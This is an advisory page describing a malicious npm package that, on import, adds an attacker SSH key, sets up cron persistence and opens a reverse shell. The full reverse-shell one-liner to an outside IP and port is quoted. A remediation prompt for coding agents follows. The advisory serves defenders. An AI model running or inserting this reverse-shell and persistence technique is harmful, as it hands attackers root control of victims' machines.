# MAL-2026-6757: Malicious code in vps-maintenance-paperclip-adapter (npm)


- **Type:** Malicious package
- **Package:** `vps-maintenance-paperclip-adapter` (npm)
- **Published:** 4 Jul 2026
- **Also known as:** GHSA-p3g7-2j36-j99x

## What is MAL-2026-6757?

MAL-2026-6757 is a malicious package in vps-maintenance-paperclip-adapter, published on 4 Jul 2026. 

### Official description

On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to `bash -i >& /dev/tcp/185.112.147.174/7007 0>&1`. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (`vps-new-manager`) than the actual package name (`vps-maintenance-paperclip-adapter`), a cover-story consistent with adapter-ecosystem impersonation.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-6757?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6757 is a malicious package: vps-maintenance-paperclip-adapter (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6757/ (Markdown: https://insights.sbomify.com/MAL-2026-6757/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6757

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6757/
Summaries are generated and may contain mistakes; the official description above is the record.